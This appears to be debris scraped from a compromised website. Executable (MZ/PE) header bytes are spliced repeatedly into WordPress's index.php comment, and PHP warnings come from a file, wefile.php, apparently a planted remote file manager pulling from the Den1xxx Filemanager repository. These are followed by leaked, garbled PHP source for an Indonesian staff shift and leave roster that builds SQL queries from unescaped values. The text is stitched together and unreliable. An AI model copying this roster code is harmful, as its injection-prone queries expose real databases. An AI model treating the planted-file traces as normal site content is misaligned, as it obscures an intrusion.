MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads
Warning: Undefined variable $authorization in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 36

Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 36

Warning: Undefined variable $translation in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 97

Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 97

Warning: Trying to access array offset on value of type null in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 98

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ja.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 99
MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads
" bgcolor=""> $tglawal){$ambil="";}else{ $ambil="ok"; $pecah1 = explode("-", $tglawal); $date1 = $pecah1[2]; $month1 = $pecah1[1]; $year1 = $pecah1[0]; // memecah tanggal untuk mendapatkan bagian tanggal, bulan dan tahun // dari tanggal kedua $tgl2b=date("Y-m-d"); $pecah2 = explode("-", $tglawallv); $date2 = $pecah2[2]; $month2 = $pecah2[1]; $year2 = $pecah2[0]; // menghitung JDN dari masing-masing tanggal $jd1 = GregorianToJD($month1, $date1, $year1); $jd2 = GregorianToJD($month2, $date2, $year2); // hitung selisih hari kedua tanggal $jmlharis = ($jd1-$jd2)-1; $whil12 = "$jmlharis"; $iee="0"; while($iee<=$whil12) { $d= "".$iee.""; $now = strtotime(date("$tglawallv")); $date = date('d-m', strtotime("+$d day", $now)); $date2 = date('Y-m-d', strtotime("+$d day", $now)); if($date2 == $tglawallv){ $offfo = mysql_fetch_array(mysql_query("SELECT * FROM setting_off WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM shift WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl1 <= '$date2' AND tgl1 >= '$date2'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ if($dvvrbcv[tgl2]=="SIANG"){$hari="S";}else{$hari="M";} $_SESSION[haria]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnexta]=$tgloff2c; }else{ $fontcuti="green"; if($offfo[masuk]=="SIANG"){$hari="S";}else{$hari="M";} $_SESSION[haria]="$hari"; $harioff=$offfo[off1]; $noww = strtotime(date("$date2")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnexta]=$tgloff2c; } } elseif($date2 < $_SESSION[tglnexta]){ $offfo = mysql_fetch_array(mysql_query("SELECT * FROM setting_off WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM shift WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl1 <= '$date2' AND tgl1 >= '$date2'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ if($dvvrbcv[tgl2]=="SIANG"){$hari="S";}else{$hari="M";} $_SESSION[haria]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnexta]=$tgloff2c; }else{ if($date1 == $_SESSION[tglnext3]){ if($_SESSION[haria]=="S"){$hari="M";}else{$hari="S";} $_SESSION[haria]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnexta]=$tgloff2c; }else{ if($_SESSION[haria]=="S"){$hari="S";}else{$hari="M";} $_SESSION[haria]="$hari"; $harioff=$offfo[off1]; $noww = strtotime(date("$date2")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); } } } elseif($date2 == $_SESSION[tglnexta]){ $offfo = mysql_fetch_array(mysql_query("SELECT * FROM setting_off WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM shift WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl1 <= '$date2' AND tgl1 >= '$date2'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ if($dvvrbcv[tgl2]=="SIANG"){$hari="S";}else{$hari="M";} $_SESSION[haria]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnexta]=$tgloff2c; }else{ if($_SESSION[haria]=="S"){$hari="M";}else{$hari="S";} $_SESSION[haria]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$date2")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnexta]=$tgloff2c; $hariofffx=$offfo[off2]-1; $nowwwx = strtotime(date("$date2")); $tgloff2cfx = date('Y-m-d', strtotime("$hariofffx days", $nowwwx)); $_SESSION[tglnext3]=$tgloff2cfx; } } $iee++;} } if($tglawallvcuti == "" || $tglawallvcuti == $tglawal || $tglawallvcuti > $tglawal){$ambill="";}else{ $ambill="ok"; $pecah1 = explode("-", $tglawal); $date1 = $pecah1[2]; $month1 = $pecah1[1]; $year1 = $pecah1[0]; // memecah tanggal untuk mendapatkan bagian tanggal, bulan dan tahun // dari tanggal kedua $tgl2b=date("Y-m-d"); $pecah2 = explode("-", $tglawallvcuti); $date2 = $pecah2[2]; $month2 = $pecah2[1]; $year2 = $pecah2[0]; // menghitung JDN dari masing-masing tanggal $jd1 = GregorianToJD($month1, $date1, $year1); $jd2 = GregorianToJD($month2, $date2, $year2); // hitung selisih hari kedua tanggal $jmlharis = ($jd1-$jd2)-1; $whil12 = "$jmlharis"; $iee="0"; while($iee<=$whil12) { $d= "".$iee.""; $now = strtotime(date("$tglawallvcuti")); $date = date('d-m', strtotime("+$d day", $now)); $date2 = date('Y-m-d', strtotime("+$d day", $now)); if($date2 == $tglawallvcuti){ $cutii = mysql_fetch_array(mysql_query("SELECT * FROM setting_cuti WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); //bulan cuti1 if($cutii[satuanhari]=="BULAN"){$satuanhari="month";} elseif($cutii[satuanhari]=="TAHUN"){$satuanhari="year";} else{$satuanhari="days";} //hari cuti2 if($cutii[satuancuti]=="BULAN"){$satuancuti="month";} elseif($cutii[satuancuti]=="TAHUN"){$satuancuti="year";} else{$satuancuti="days";} $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM cuti WHERE site='$r[kodesite]' AND nama='$r[pegawai_pin]' AND tgl1 <= '$date2' AND tgl2 >= '$date2'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $harioff=$cutii[cuti1]; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextac]=$tgloff2c; }else{ $fontcuti="green"; $harioff=$cutii[cuti1]; $noww = strtotime(date("$date2")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextac]=$tgloff2c; } } elseif($date2 < $_SESSION[tglnextac]){ $cutii = mysql_fetch_array(mysql_query("SELECT * FROM setting_cuti WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); //bulan cuti1 if($cutii[satuanhari]=="BULAN"){$satuanhari="month";} elseif($cutii[satuanhari]=="TAHUN"){$satuanhari="year";} else{$satuanhari="days";} //hari cuti2 if($cutii[satuancuti]=="BULAN"){$satuancuti="month";} elseif($cutii[satuancuti]=="TAHUN"){$satuancuti="year";} else{$satuancuti="days";} $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM cuti WHERE site='$r[kodesite]' AND nama='$r[pegawai_pin]' AND tgl1 <= '$date2' AND tgl2 >= '$date2'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $harioff=$cutii[cuti1]; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextac]=$tgloff2c; }else{ $harioff=$cutii[cuti1]; $noww = strtotime(date("$date2")); $tgloff2cz = date('Y-m-d', strtotime("$harioff days", $noww)); } } elseif($date2 == $_SESSION[tglnextac]){ $cutii = mysql_fetch_array(mysql_query("SELECT * FROM setting_cuti WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); //bulan cuti1 if($cutii[satuanhari]=="BULAN"){$satuanhari="month";} elseif($cutii[satuanhari]=="TAHUN"){$satuanhari="year";} else{$satuanhari="days";} //hari cuti2 if($cutii[satuancuti]=="BULAN"){$satuancuti="month";} elseif($cutii[satuancuti]=="TAHUN"){$satuancuti="year";} else{$satuancuti="days";} $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM cuti WHERE site='$r[kodesite]' AND nama='$r[pegawai_pin]' AND tgl1 <= '$date2' AND tgl2 >= '$date2'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $harioff=$cutii[cuti1]; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextac]=$tgloff2c; }else{ $_SESSION[haricutiic]=$_SESSION[haricutiic]+1; if($_SESSION[haricutiic]==$cutii[cuti2]){ $harioff=$cutii[cuti1]; $noww = strtotime(date("$date2")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextac]=$tgloff2c; unset($_SESSION['haricutiic']); }else{ $harioff=1; $noww = strtotime(date("$date2")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnextac]=$tgloff2c; } } } $iee++;} } $whil12 = "$jmlhari"; $ie="0"; while($ie<=$whil12) { $d= "".$ie.""; $now = strtotime(date("$tglawal")); $date = date('d-m', strtotime("+$d day", $now)); $date1 = date('Y-m-d', strtotime("+$d day", $now)); $dvvrbc = mysql_fetch_array(mysql_query("SELECT * FROM pegawai3 WHERE ids='$r[ids]' AND pegawai_pin='$r[pegawai_pin]'")); $tglawallv=$dvvrbc[tglmulaikerja]; $cutii = mysql_fetch_array(mysql_query("SELECT * FROM setting_cuti WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); $offfh = mysql_fetch_array(mysql_query("SELECT * FROM setting_off WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); $offf = mysql_fetch_array(mysql_query("SELECT * FROM setting_off WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM shift WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl1 <= '$tglawal' AND tgl1 >= '$tglawallv'")); $tglawap=$dvvrbcv[tgl1]; $dvvrbcvg = mysql_fetch_array(mysql_query("SELECT * FROM cuti WHERE site='$r[kodesite]' AND nama='$r[pegawai_pin]' AND tgl1<='$tglawal' order by tgl2 desc")); $tglawapcuti=$dvvrbcvg[tgl2]; $tglawalcut=$cutii[tgl]; $tglawaloff=$offf[tgl]; //awal cuti if($offf[tgl]==""){ $fontcutii=""; $kerjaa="Ruster Kosong"; }else{ if($date1 == $tglawaloff){ $offfo = mysql_fetch_array(mysql_query("SELECT * FROM setting_off WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM shift WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl1 <= '$date1' AND tgl1 >= '$date1'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $fontcutii="red"; $kerjaa="OFF(m)"; if($dvvrbcv[tgl2]=="SIANG"){$hari="S";}else{$hari="M";} $_SESSION[hari]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnext]=$tgloff2c; }else{ $fontcutii="green"; if($offfo[masuk]=="SIANG"){$hari="S";}else{$hari="M";} $_SESSION[hari]="$hari"; $kerjaa="$hari"; $harioff=$offfo[off1]; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnext]=$tgloff2c; } } elseif($date1 < $_SESSION[tglnext]){ $offfo = mysql_fetch_array(mysql_query("SELECT * FROM setting_off WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM shift WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl1 <= '$date1' AND tgl1 >= '$date1'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $fontcutii="red"; $kerjaa="OFF(m)"; if($dvvrbcv[tgl2]=="SIANG"){$hari="S";}else{$hari="M";} $_SESSION[hari]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnext]=$tgloff2c; }else{ if($date1 == $_SESSION[tglnext2]){ $fontcutii="RED"; $kerjaa="OFF"; if($_SESSION[hari]=="S"){$hari="M";}else{$hari="S";} $_SESSION[hari]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnext]=$tgloff2c; }else{ $fontcutii="green"; $kerjaa="$_SESSION[hari]"; if($_SESSION[hari]=="S"){$hari="S";}else{$hari="M";} $_SESSION[hari]="$hari"; $harioff=$offfo[off1]; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); } } } elseif($date1 == $_SESSION[tglnext]){ $offfo = mysql_fetch_array(mysql_query("SELECT * FROM setting_off WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM shift WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl1 <= '$date1' AND tgl1 >= '$date1'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $fontcutii="red"; $kerjaa="OFF(m)"; if($dvvrbcv[tgl2]=="SIANG"){$hari="S";}else{$hari="M";} $_SESSION[hari]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnext]=$tgloff2c; }else{ $fontcutii="RED"; $kerjaa="OFF"; if($_SESSION[hari]=="S"){$hari="M";}else{$hari="S";} $_SESSION[hari]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnext]=$tgloff2c; $hariofff=$offfo[off2]-1; $nowww = strtotime(date("$date1")); $tgloff2cf = date('Y-m-d', strtotime("$hariofff days", $nowww)); $_SESSION[tglnext2]=$tgloff2cf; } } elseif($date1 < $_SESSION[tglnexta] && $ambil=="ok"){ $offfo = mysql_fetch_array(mysql_query("SELECT * FROM setting_off WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM shift WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl1 <= '$date1' AND tgl1 >= '$date1'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $fontcutii="red"; $kerjaa="OFF(m)"; if($dvvrbcv[tgl2]=="SIANG"){$hari="S";}else{$hari="M";} $_SESSION[hari]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnext]=$tgloff2c; }else{ if($date1 == $_SESSION[tglnext3]){ $fontcutii="RED"; $kerjaa="OFF"; if($_SESSION[hari]=="S"){$hari="M";}else{$hari="S";} $_SESSION[hari]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnext]=$tgloff2c; } elseif($date1 == $_SESSION[tglnext2]){ $fontcutii="RED"; $kerjaa="OFF"; if($_SESSION[hari]=="S"){$hari="M";}else{$hari="S";} $_SESSION[hari]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnext]=$tgloff2c; }else{ $fontcutii="green"; $kerjaa="$_SESSION[haria]"; if($_SESSION[haria]=="S"){$hari="S";}else{$hari="M";} $_SESSION[hari]="$hari"; $harioff=$offfo[off1]; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); } } } elseif($date1 == $_SESSION[tglnexta] && $ambil=="ok"){ $offfo = mysql_fetch_array(mysql_query("SELECT * FROM setting_off WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM shift WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl1 <= '$date1' AND tgl1 >= '$date1'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $fontcutii="red"; $kerjaa="OFF(m)"; if($dvvrbcv[tgl2]=="SIANG"){$hari="S";}else{$hari="M";} $_SESSION[hari]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnext]=$tgloff2c; }else{ $fontcutii="RED"; $kerjaa="OFF"; if($_SESSION[haria]=="S"){$hari="M";}else{$hari="S";} $_SESSION[hari]="$hari"; $harioff=$offfo[off1]+1; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnext]=$tgloff2c; $hariofff=$offfo[off2]-1; $nowww = strtotime(date("$date1")); $tgloff2cf = date('Y-m-d', strtotime("$hariofff days", $nowww)); $_SESSION[tglnext2]=$tgloff2cf; } } } if($cutii[tgl]==""){ $fontcuti=""; $kerja="Ruster Kosong"; }else{ if($date1 == $tglawalcut){ $cutii = mysql_fetch_array(mysql_query("SELECT * FROM setting_cuti WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); //bulan cuti1 if($cutii[satuanhari]=="BULAN"){$satuanhari="month";} elseif($cutii[satuanhari]=="TAHUN"){$satuanhari="year";} else{$satuanhari="days";} //hari cuti2 if($cutii[satuancuti]=="BULAN"){$satuancuti="month";} elseif($cutii[satuancuti]=="TAHUN"){$satuancuti="year";} else{$satuancuti="days";} $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM cuti WHERE site='$r[kodesite]' AND nama='$r[pegawai_pin]' AND tgl1 <= '$date1' AND tgl2 >= '$date1'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $fontcuti="red"; $kerja="C m"; $harioff=$cutii[cuti1]; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextc]=$tgloff2c; }else{ $fontcuti="green"; $kerja="K"; $harioff=$cutii[cuti1]; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextc]=$tgloff2c; } } elseif($date1 < $_SESSION[tglnextc]){ $cutii = mysql_fetch_array(mysql_query("SELECT * FROM setting_cuti WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); //bulan cuti1 if($cutii[satuanhari]=="BULAN"){$satuanhari="month";} elseif($cutii[satuanhari]=="TAHUN"){$satuanhari="year";} else{$satuanhari="days";} //hari cuti2 if($cutii[satuancuti]=="BULAN"){$satuancuti="month";} elseif($cutii[satuancuti]=="TAHUN"){$satuancuti="year";} else{$satuancuti="days";} $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM cuti WHERE site='$r[kodesite]' AND nama='$r[pegawai_pin]' AND tgl1 <= '$date1' AND tgl2 >= '$date1'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $fontcuti="red"; $kerja="C m"; $harioff=$cutii[cuti1]; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextc]=$tgloff2c; }else{ $fontcuti="green"; $kerja="K"; $harioff=$cutii[cuti1]; $noww = strtotime(date("$date1")); $tgloff2cx = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); } } elseif($date1 == $_SESSION[tglnextc]){ $cutii = mysql_fetch_array(mysql_query("SELECT * FROM setting_cuti WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); //bulan cuti1 if($cutii[satuanhari]=="BULAN"){$satuanhari="month";} elseif($cutii[satuanhari]=="TAHUN"){$satuanhari="year";} else{$satuanhari="days";} //hari cuti2 if($cutii[satuancuti]=="BULAN"){$satuancuti="month";} elseif($cutii[satuancuti]=="TAHUN"){$satuancuti="year";} else{$satuancuti="days";} $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM cuti WHERE site='$r[kodesite]' AND nama='$r[pegawai_pin]' AND tgl1 <= '$date1' AND tgl2 >= '$date1'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $fontcuti="red"; $kerja="C m"; $harioff=$cutii[cuti1]; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextc]=$tgloff2c; }else{ $fontcuti="RED"; $kerja="C"; $_SESSION[haricuti]=$_SESSION[haricuti]+1; if($_SESSION[haricuti]==$cutii[cuti2]){ $harioff=$cutii[cuti1]; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextc]=$tgloff2c; unset($_SESSION['haricuti']); }else{ $harioff=1; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnextc]=$tgloff2c; } } } elseif($date1 < $_SESSION[tglnextac] && $ambill=="ok"){ $cutii = mysql_fetch_array(mysql_query("SELECT * FROM setting_cuti WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); //bulan cuti1 if($cutii[satuanhari]=="BULAN"){$satuanhari="month";} elseif($cutii[satuanhari]=="TAHUN"){$satuanhari="year";} else{$satuanhari="days";} //hari cuti2 if($cutii[satuancuti]=="BULAN"){$satuancuti="month";} elseif($cutii[satuancuti]=="TAHUN"){$satuancuti="year";} else{$satuancuti="days";} $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM cuti WHERE site='$r[kodesite]' AND nama='$r[pegawai_pin]' AND tgl1 <= '$date1' AND tgl2 >= '$date1'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $fontcuti="red"; $kerja="C m"; $harioff=$cutii[cuti1]; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextc]=$tgloff2c; }else{ $fontcuti="green"; $kerja="K"; $harioff=$cutii[cuti1]; $noww = strtotime(date("$date1")); $tgloff2cx = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); } } elseif($date1 == $_SESSION[tglnextac] && $ambill=="ok"){ $cutii = mysql_fetch_array(mysql_query("SELECT * FROM setting_cuti WHERE ids='$r[ids]' AND nik='$r[pegawai_pin]' AND tgl between '$periodee[tgl1]' AND '$periodee[tgl2]' order by tgl DESC")); //bulan cuti1 if($cutii[satuanhari]=="BULAN"){$satuanhari="month";} elseif($cutii[satuanhari]=="TAHUN"){$satuanhari="year";} else{$satuanhari="days";} //hari cuti2 if($cutii[satuancuti]=="BULAN"){$satuancuti="month";} elseif($cutii[satuancuti]=="TAHUN"){$satuancuti="year";} else{$satuancuti="days";} $dvvrbcv = mysql_fetch_array(mysql_query("SELECT * FROM cuti WHERE site='$r[kodesite]' AND nama='$r[pegawai_pin]' AND tgl1 <= '$date1' AND tgl2 >= '$date1'")); $tgloffm=$dvvrbcv[tgl1]; if($tgloffm!=""){ $fontcuti="red"; $kerja="C m"; $harioff=$cutii[cuti1]; $noww = strtotime(date("$tgloffm")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextc]=$tgloff2c; }else{ $fontcuti="RED"; $kerja="C"; $_SESSION[haricutix]=$_SESSION[haricutix]+1; if($_SESSION[haricutix]==$cutii[cuti2]){ $harioff=$cutii[cuti1]; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff $satuanhari", $noww)); $_SESSION[tglnextc]=$tgloff2c; unset($_SESSION['haricutix']); }else{ $harioff=1; $noww = strtotime(date("$date1")); $tgloff2c = date('Y-m-d', strtotime("$harioff days", $noww)); $_SESSION[tglnextc]=$tgloff2c; } } } } echo" "; 